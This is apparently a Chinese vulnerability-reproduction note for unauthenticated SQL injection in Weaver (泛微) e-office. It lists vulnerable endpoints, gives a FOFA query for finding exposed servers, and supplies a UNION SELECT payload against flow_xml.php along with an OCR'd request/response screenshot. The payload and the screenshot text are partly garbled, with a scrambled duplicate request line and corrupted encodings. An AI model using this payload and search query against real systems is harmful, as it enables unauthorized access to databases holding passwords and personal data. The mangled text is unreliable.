F8-10泛微-E-Office-SQL

漏洞描述:

泛微e-office json_common.php、flow_xml.php、sms_page.php、getUserLists、detail.php、Init.php等接口处存在SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。



网络测绘:

fofa语法:

app="泛微-EOffice"

漏洞复现:

payload:

GET /general/system/workflow/flow_type/flow_xml.php?SORT_ID=1+UNION+ALL+SELECT+CONCAT%280x716a717071%2C%40%40version%2C0x716a717071%29%2CNULL% Ger / General System/workflow/flow_cype/flow_mmi.pnp/soki_np-i+onionvalid-selecti+concars280x7164717071826840840Versions2C0x71647170718 Host: your-ip User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Accept-Encoding: gzip

效果图·

查询数据库版本

```
Request
                                                                                                                                                                                                                       〈 〉 数据包扫描 热加载 构造请求 💥
                                                                                                                                                                                                                                                                                                                                                                       Responses 1269bytes / 237ms
  1 GET /general/system/workflow/flow_type/flow_xml.php?SORT_ID=1+UNION+ALL+SELECT
                                                                                                                                                                                                                                                                                                                                                                                              Pragma: no-cache
                     +CONCAT%288x716a717071%2C%406%40version%2C0x716a717071%20%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%
                                                                                                                                                                                                                                                                                                                                                                                            Content-Type: text/xml; charset=utf-8
Content-Length: 1269
                                                                                                                                                                                                                                                                                                                                                                           10
                       +-·HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                           11
                     User-Agent: 'Mozilla/5.0 (Macintosh; Intel 'Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
                                                                                                                                                                                                                                                                                                                                                                           13 V <tree>
                                                                                                                                                                                                                                                                                                                                                                                                         ---
<tree-text="请假申请流程"-action="java
                                                                                                                                                                                                                                                                                                                                                                           14
                      Accept-Encoding: gzip
                                                                                                                                                                                                                                                                                                                                                                                                         target="flowmain"·/>
<tree-text="出差外出申请"-action="java
                                                                                                                                                                                                                                                                                                                                                                           15
                                                                                                                                                                                                                                                                                                                                                                                                         target="flowmain"
                                                                                                                                                                                                                                                                                                                                                                                                         <tree text="员工入职申请" action="java</pre>
                                                                                                                                                                                                                                                                                                                                                                                                         target="flowmain"
                                                                                                                                                                                                                                                                                                                                                                                                         <tree text="员工转正申请" action="java</pre>
                                                                                                                                                                                                                                                                                                                                                                           17
                                                                                                                                                                                                                                                                                                                                                                                                         target="flowmain"··/>
<tree-text="增员需求申请"·action="java
                                                                                                                                                                                                                                                                                                                                                                           18
                                                                                                                                                                                                                                                                                                                                                                                                         target="flowmain"
                                                                                                                                                                                                                                                                                                                                                                                                         <tree text="员工离职申请" action="java</pre>
                                                                                                                                                                                                                                                                                                                                                                                                         target="flowmain"
                                                                                                                                                                                                                                                                                                                                                                                                         <tree text="岗位调整申请" action="java
                                                                                                                                                                                                                                                                                                                                                                           20
                                                                                                                                                                                                                                                                                                                                                                                                         target="flowmain"··/>
<tree-text="请假申请(考勤集成)"-action=
                                                                                                                                                                                                                                                                                                                                                                           21
                                                                                                                                                                                                                                                                                                                                                                                                         target="flowmain"
                                                                                                                                                                                                                                                                                                                                                                                                         <tree text="外出申请(考勤集成)" action=</pre>
                                                                                                                                                                                                                                                                                                                                                                                                         - Sour Tiowmain"・・/>
<tree・text="出差申请(考勤集成)"・action
target="flowmain"・・ハ
```